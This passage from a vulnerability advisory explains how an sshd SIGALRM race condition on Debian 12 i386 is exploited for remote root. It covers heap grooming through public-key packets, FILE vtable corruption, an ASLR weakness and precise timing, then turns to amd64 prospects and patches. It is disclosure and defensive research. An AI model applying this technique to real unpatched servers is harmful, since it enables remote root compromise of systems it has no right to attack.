unlucky attacker might deadlock all 10 MaxStartups connections before obtaining a root shell; we have not tried to work around this problem because our ultimate goal was to exploit a modern OpenSSH version anyway. ======================================================================== SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 (Debian 12.5.0, from 2024) ======================================================================== ------------------------------------------------------------------------ Theory ------------------------------------------------------------------------ Now you're ready, take the demons head on -- The Interrupters, "Be Gone" The SIGALRM handler of this OpenSSH version does not call packet_close() nor pam_end(); in fact it calls only one interesting function, syslog(): ------------------------------------------------------------------------ 358 grace_alarm_handler(int sig) 359 { ... 370 sigdie("Timeout before authentication for %s port %d", 371 ssh_remote_ipaddr(the_active_state), 372 ssh_remote_port(the_active_state)); ------------------------------------------------------------------------ 96 #define sigdie(...) sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__) ------------------------------------------------------------------------ 451 sshsigdie(const char *file, const char *func, int line, int showfunc, 452 LogLevel level, const char *suffix, const char *fmt, ...) 453 { ... 457 sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL, 458 suffix, fmt, args); ------------------------------------------------------------------------ 464 sshlogv(const char *file, const char *func, int line, int showfunc, 465 LogLevel level, const char *suffix, const char *fmt, va_list args) 466 { ... 489 do_log(level, forced, suffix, fmt2, args); ------------------------------------------------------------------------ 337 do_log(LogLevel level, int force, const char *suffix, const char *fmt, 338 va_list args) 339 { ... 419 syslog(pri, "%.500s", fmtbuf); ------------------------------------------------------------------------ Our two key questions, then, are: Does the syslog() of this Debian's glibc (2.36) call async-signal-unsafe functions such as malloc() and free()? And if yes, does this glibc still take a mandatory lock when entering the functions of the malloc family? - Luckily for us attackers, the answer to our first question is yes; if, and only if, the syslog() inside the SIGALRM handler is the very first call to syslog(), then __localtime64_r() (which is called by syslog()) calls malloc(304) to allocate a FILE structure (at line 166) and calls malloc(4096) to allocate an internal read buffer (at line 186): ------------------------------------------------------------------------ 28 __localtime64_r (const __time64_t *t, struct tm *tp) 29 { 30 return __tz_convert (*t, 1, tp); ------------------------------------------------------------------------ 567 __tz_convert (__time64_t timer, int use_localtime, struct tm *tp) 568 { ... 577 tzset_internal (tp == &_tmbuf && use_localtime); ------------------------------------------------------------------------ 367 tzset_internal (int always) 368 { ... 405 __tzfile_read (tz, 0, NULL); ------------------------------------------------------------------------ 105 __tzfile_read (const char *file, size_t extra, char **extrap) 106 { ... 109 FILE *f; ... 166 f = fopen (file, "rce"); ... 186 if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead), 187 1, f) != 1, 0) ------------------------------------------------------------------------ Note: because we do not control anything about these malloc()ations (not their order, not their sizes, not their contents), we took the "rce" at line 166 as a much-needed good omen. - And luckily for us, the answer to our second question is no; since October 2017, the glibc's malloc functions do not take any lock anymore, when single-threaded (like sshd): https://sourceware.org/git?p=glibc.git;a=commit;h=a15d53e2de4c7d83bda251469d92a3c7b49a90db https://sourceware.org/git?p=glibc.git;a=commit;h=3f6bb8a32e5f5efd78ac08c41e623651cc242a89 https://sourceware.org/git?p=glibc.git;a=commit;h=905a7725e9157ea522d8ab97b4c8b96aeb23df54 Moreover, this Debian version suffers from the ASLR weakness described in the following great blog posts (by Justin Miller and Mathias Krause, respectively): https://zolutal.github.io/aslrnt/ https://grsecurity.net/toolchain_necromancy_past_mistakes_haunting_aslr Concretely, in the case of sshd on i386, every memory mapping is randomized normally (sshd's PIE, the heap, most libraries, the stack), but the glibc itself is always mapped either at address 0xb7200000 or at address 0xb7400000; in other words, we can correctly guess the glibc's address half of the time (a small price to pay for defeating ASLR). In our exploit we assume that the glibc is mapped at address 0xb7400000, because it is slightly more common than 0xb7200000. Our next question is: which code paths inside the glibc's malloc functions, if interrupted by SIGALRM at the right time, leave the heap in an inconsistent state, exploitable during one of the malloc() calls inside the SIGALRM handler? We found several interesting (and surprising!) code paths, but the one we chose involves only relative sizes, not absolute addresses (unlike various code paths inside unlink_chunk(), for example); this difference might prove crucial for a future amd64 exploit. This code path, inside malloc(), splits a large free chunk (victim) into two smaller chunks; the first chunk is returned to malloc()'s caller (at line 4345) and the second chunk (remainder) is linked into an unsorted list of free chunks (at lines 4324-4327): ------------------------------------------------------------------------ 1449 #define set_head(p, s) ((p)->mchunk_size = (s)) ------------------------------------------------------------------------ 3765 _int_malloc (mstate av, size_t bytes) 3766 { .... 3798 nb = checked_request2size (bytes); .... 4295 size = chunksize (victim); .... 4300 remainder_size = size - nb; .... 4316 remainder = chunk_at_offset (victim, nb); .... 4320 bck = unsorted_chunks (av); 4321 fwd = bck->fd; .... 4324 remainder->bk = bck; 4325 remainder->fd = fwd; 4326 bck->fd = remainder; 4327 fwd->bk = remainder; .... 4337 set_head (victim, nb | PREV_INUSE | 4338 (av != &main_arena ? NON_MAIN_ARENA : 0)); 4339 set_head (remainder, remainder_size | PREV_INUSE); .... 4343 void *p = chunk2mem (victim); .... 4345 return p; ------------------------------------------------------------------------ - If this code path is interrupted by SIGALRM *after* line 4327 but *before* line 4339, then the remainder chunk of this split is already linked into the unsorted list of free chunks (lines 4324-4327), but its size field (mchunk_size) is not yet initialized (line 4339). - If we are able to control its size field (through leftovers from previous heap allocations), then we can make this remainder chunk larger and overlap with other heap chunks, and therefore corrupt heap memory when this enlarged, overlapping remainder chunk is eventually malloc()ated and written to (inside the SIGALRM handler). Our last question, then, is: given that we do not control anything about the malloc() calls inside the SIGALRM handler, what can we overwrite in the heap to achieve arbitrary code execution before sshd calls _exit() (in sshsigdie())? Because __tzfile_read() (inside the SIGALRM handler) malloc()ates a FILE structure in the heap (at line 166 above), and because FILE structures have a long history of abuse for arbitrary code execution, we decided to aim our heap corruption at this FILE structure. This is, however, easier said than done: our heap corruption is very limited, and FILE structures have been significantly hardened over the years (by IO_validate_vtable() and PTR_DEMANGLE(), for example). Eventually, we devised the following technique (which seems to be specific to the i386 glibc -- the amd64 glibc does not seem to use _vtable_offset at all): - with our limited heap corruption, we overwrite the _vtable_offset field (a single signed char) of __tzfile_read()'s FILE structure; - the glibc's libio functions will therefore look for this FILE structure's vtable pointer (a pointer to an array of function pointers) at a non-zero offset (our overwritten _vtable_offset), instead of the default zero offset; - we (attackers) can easily control this fake vtable pointer (through leftovers from previous heap allocations), because the FILE structure around this offset is not explicitly initialized by fopen(); - to pass the glibc's security checks, our fake vtable pointer must point somewhere into the __libc_IO_vtables section: we decided to point it to the vtable for wide-character streams, _IO_wfile_jumps (i.e., to 0xb761b740, since we assume that the glibc is mapped at address 0xb7400000); - as a result, __fread_unlocked() (at line 186 above) calls _IO_wfile_underflow() (instead of _IO_file_underflow()), which calls a function pointer (__fct) that basically comes from a structure whose pointer (_codecvt) is yet another field of the FILE structure; - we (attackers) can easily control this _codecvt pointer (through leftovers from previous heap allocations, because this field of the FILE structure is not explicitly initialized by fopen()), which also allows us to control the __fct function pointer. In summary, by overwriting a single byte (_vtable_offset) of the FILE structure malloc()ated by fopen(), we can call our own __fct function pointer and execute arbitrary code during __fread_unlocked(). ------------------------------------------------------------------------ Practice ------------------------------------------------------------------------ I wanted it perfect, no wrinkles in it -- The Interrupters, "In the Mirror" To mount this attack against sshd's privileged child, let us first imagine the following heap layout (the "XXX"s are "barrier" chunks that allow us to make holes in the heap; for example, small memory-leaked chunks): ---|----------------------------------------------|---|------------|--- XXX| large hole |XXX| small hole |XXX ---|----------------------------------------------|---|------------|--- | ~8KB | | 320B | - shortly before sshd receives the SIGALRM, we malloc()ate a ~4KB chunk that splits the large ~8KB hole into two smaller chunks: ---|-----------------------|----------------------|---|------------|--- XXX| large allocated chunk | free remainder chunk |XXX| small hole |XXX ---|-----------------------|----------------------|---|------------|--- | ~4KB | ~4KB | | 320B | - but if this malloc() is interrupted by SIGALRM *after* line 4327 but *before* line 4339, then the remainder chunk of this split is already linked into the unsorted list of free chunks, but its size field is under our control (through leftovers from previous heap allocations), and this artificially enlarged remainder chunk overlaps with the following small hole: ---|-----------------------|----------------------|---|------------|--- XXX| large allocated chunk | real remainder chunk |XXX| small hole |XXX ---|-----------------------|----------------------|---|------------|--- | ~4KB |<------------------------------------->| artificially enlarged remainder chunk - when the SIGALRM handler calls syslog() and hence __tzfile_read(), fopen() malloc()ates the small hole for its FILE structure, and __fread_unlocked() malloc()ates a 4KB read buffer, thereby splitting the enlarged remainder chunk in two (the 4KB read buffer and a small remainder chunk): ---|-----------------------|----------------------|---|------------|--- XXX| large allocated chunk | |XXX| FILE |XXX ---|-----------------------|----------------------|---|--|---------|--- | ~4KB |<--------------------------->|<------->| 4KB read buffer remainder - we therefore overwrite parts of the FILE structure with the internal header of this small remainder chunk: more precisely, we overwrite the FILE's _vtable_offset with the third byte of this header's bk field, which is a pointer to the unsorted list of free chunks, 0xb761d7f8 (i.e., we overwrite _vtable_offset with 0x61); - then, as explained in the "Theory" subsection, __fread_unlocked() calls _IO_wfile_underflow() (instead of _IO_file_underflow()), which calls our own __fct function pointer (through our own _codecvt pointer) and executes our arbitrary code. Note: we have not yet explained how to reliably go from a controlled _codecvt pointer to a controlled __fct function pointer; we will do so, but we must first solve a more pressing problem. Indeed, we learned from our work on older OpenSSH versions that we will never win this signal handler race condition if our large race window contains only one small race window. Consequently, we implemented the following strategy, based on the following heap layout: ---|------------|---|------------|---|------------|---|------------|--- XXX|large hole 1|XXX|small hole 1|XXX|large hole 2|XXX|small hole 2|... ---|------------|---|------------|---|------------|---|------------|--- | ~8KB | | 320B | | ~8KB | | 320B | The last packet that we send to sshd (shortly before the delivery of SIGALRM) forces sshd to perform the following sequence of malloc() calls: malloc(~4KB), malloc(304), malloc(~4KB), malloc(304), etc. 1/ Our first malloc(~4KB) splits the large hole 1 in two: - if this first split is interrupted by SIGALRM at the right time, then the fopen() inside the SIGALRM handler malloc()ates the small hole 1 for its FILE structure, and we achieve arbitrary code execution as explained above; - if not, then we malloc()ate the small hole 1 ourselves with our first malloc(304), and: 2/ Our second malloc(~4KB) splits the large hole 2 in two: - if this second split is interrupted by SIGALRM at the right time, then the fopen() inside the SIGALRM handler malloc()ates the small hole 2 for its FILE structure, and we achieve arbitrary code execution as explained above; - if not, then we malloc()ate the small hole 2 ourselves with our second malloc(304), etc. We were able to make 27 pairs of such large and small holes in sshd's heap (28 would exceed PACKET_MAX_SIZE, 256KB): our large race window now contains 27 small race windows! Achieving this complex heap layout was extremely painful and time-consuming, but the two highlights are: - We abuse sshd's public-key parsing code to perform arbitrary sequences of malloc() and free() calls (at lines 1805 and 573): ------------------------------------------------------------------------ 1754 cert_parse(struct sshbuf *b, struct sshkey *key, struct sshbuf *certbuf) 1755 { .... 1797 while (sshbuf_len(principals) > 0) { .... 1805 if ((ret = sshbuf_get_cstring(principals, &principal, .... 1820 key->cert->principals[key->cert->nprincipals++] = principal; 1821 } ------------------------------------------------------------------------ 562 cert_free(struct sshkey_cert *cert) 563 { ... 572 for (i = 0; i < cert->nprincipals; i++) 573 free(cert->principals[i]); ------------------------------------------------------------------------ - We were unable to find a memory leak for our small "barrier" chunks; instead, we use tcache chunks (which are never really freed, because their inuse bit is never cleared) as makeshift "barrier" chunks. To reliably achieve this heap layout, we send five different public-key packets to sshd (packets a/ to d/ can be sent long before SIGALRM; most of packet e/ can also be sent long before SIGALRM, but its very last byte must be sent at the very last moment): a/ We malloc()ate and free() a variety of tcache chunks, to ensure that the heap allocations that we do not control end up in these tcache chunks and do not interfere with our careful heap layout. b/ We malloc()ate and free() chunks of various sizes, to make our 27 pairs of large and small holes (and the corresponding "barrier" chunks). c/ We malloc()ate and free() ~4KB chunks and 320B chunks, to: - write the fake header (the large size field) of our potentially enlarged remainder chunk, into the middle of our large holes; - write the fake footer of our potentially enlarged remainder chunk, to the end of our small holes (to pass the glibc's security checks); - write our fake vtable and _codecvt pointers, into our small holes (which are potential FILE structures). d/ We malloc()ate and free() one very large string (nearly 256KB), to ensure that our large and small holes are removed from the unsorted list of free chunks and placed into their respective malloc bins. e/ We force sshd to perform our final sequence of malloc() calls (malloc(~4KB), malloc(304), malloc(~4KB), malloc(304), etc), to open our 27 small race windows. Attentive readers may have noticed that we have still not addressed (literally and figuratively) the problem of _codecvt. In fact, _codecvt is a pointer to a structure (_IO_codecvt) that contains a pointer to a structure (__gconv_step) that contains the __fct function pointer that allows us to execute arbitrary code. To reliably control __fct through _codecvt, we simply point _codecvt to one of the glibc's malloc bins, which conveniently contains a pointer to one of our free chunks in the heap, which contains our own __fct function pointer to arbitrary glibc code (all of these glibc addresses are known to us, because we assume that the glibc is mapped at address 0xb7400000). ------------------------------------------------------------------------ Timing ------------------------------------------------------------------------ We're running out of time -- The Interrupters, "As We Live" As we implemented this third exploit, it became clear that we could not simply re-use the timing strategy that we had used against the two older OpenSSH versions: we were never winning this new race condition. Eventually, we understood why: - It takes a long time (~10ms) for sshd to parse our fifth and last public key (packet e/ above); in other words, our large race window is too large (our 27 small race windows are like needles in a haystack). - The user_specific_delay() that was introduced recently (OpenSSH 7.8p1) delays sshd's response to our last public-key packet by up to ~9ms and therefore destroys our feedback-based timing strategy. As a result, we developed a completely different timing strategy: - from time to time, we send our last public-key packet with a little mistake that produces an error response (lines 138-142 below), right before the call to sshkey_from_blob() that parses our public key; - from time to time, we send our last public-key packet with another little mistake that produces an error response (lines 151-155 below), right after the call to sshkey_from_blob() that parses our public key; - the difference between these two response times is the time that it takes for sshd to parse our last public key, and this allows us to precisely time the transmission of our last packets (to ensure that sshd has the time to parse our public key in the unprivileged child, send it to the privileged child, and start to parse it there, before the delivery of SIGALRM). ------------------------------------------------------------------------ 88 userauth_pubkey(struct ssh *ssh, const char *method) 89 { ... 138 if (pktype == KEY_UNSPEC) { 139 /* this is perfectly legal */ 140 verbose_f("unsupported public key algorithm: %s", pkalg); 141 goto done; 142 } 143 if ((r = sshkey_from_blob(pkblob, blen, &key)) != 0) { 144 error_fr(r, "parse key"); 145 goto done; 146 } ... 151 if (key->type != pktype) { 152 error_f("type mismatch for decoded key " 153 "(received %d, expected %d)", key->type, pktype); 154 goto done; 155 } ------------------------------------------------------------------------ With this change in strategy, it takes ~10,000 tries on average to win the race condition; i.e., with 100 connections (MaxStartups) accepted per 120 seconds (LoginGraceTime), it takes ~3-4 hours on average to win the race condition, and ~6-8 hours to obtain a remote root shell (because of ASLR). ======================================================================== Towards an amd64 exploit ======================================================================== What's your plan for tomorrow? -- The Interrupters, "Take Back the Power" We decided to target Rocky Linux 9 (a Red Hat Enterprise Linux 9 derivative), from "Rocky-9.4-x86_64-minimal.iso", for two reasons: - its OpenSSH version (8.7p1) is vulnerable to this signal handler race condition and its glibc is always mapped at a multiple of 2MB (because of the ASLR weakness discussed in the previous "Theory" subsection), which makes partial pointer overwrites much more powerful; - the syslog() function (which is async-signal-unsafe but is called by sshd's SIGALRM handler) of this glibc version (2.34) internally calls __open_memstream(), which malloc()ates a FILE structure in the heap, and also calls calloc(), realloc(), and free() (which gives us some much-needed freedom). With a heap corruption as a primitive, two FILE structures malloc()ated in the heap, and 21 fixed bits in the glibc's addresses, we believe that this signal handler race condition is exploitable on amd64 (probably not in ~6-8 hours, but hopefully in less than a week). Only time will tell. Side note: we discovered that Ubuntu 24.04 does not re-randomize the ASLR of its sshd children (it is randomized only once, at boot time); we tracked this down to the patch below, which turns off sshd's rexec_flag. This is generally a bad idea, but in the particular case of this signal handler race condition, it prevents sshd from being exploitable: the syslog() inside the SIGALRM handler does not call any of the malloc functions, because it is never the very first call to syslog(). https://git.launchpad.net/ubuntu/+source/openssh/tree/debian/patches/systemd-socket-activation.patch ======================================================================== Patches and mitigation ======================================================================== The storm has come and gone -- The Interrupters, "Good Things" On June 6, 2024, this signal handler race condition was fixed by commit 81c1099 ("Add a facility to sshd(8) to penalise particular problematic client behaviours"), which moved the async-signal-unsafe code from sshd's SIGALRM handler to sshd's listener process, where it can be handled synchronously: https://github.com/openssh/openssh-portable/commit/81c1099d22b81ebfd20a334ce986c4f753b0db29 Because this fix is part of a large commit (81c1099), on top of an even larger defense-in-depth commit (03e3de4, "Start the process of splitting sshd into separate binaries"), it might prove difficult to backport. In that case, the signal handler race condition itself can be fixed by removing or commenting out the async-signal-unsafe code from the sshsigdie() function; for example: ------------------------------------------------------------------------ sshsigdie(const char *file, const char *func, int line, int showfunc, LogLevel level, const char *suffix, const char *fmt, ...) { #if 0 va_list args; va_start(args, fmt); sshlogv(file, func, line, showfun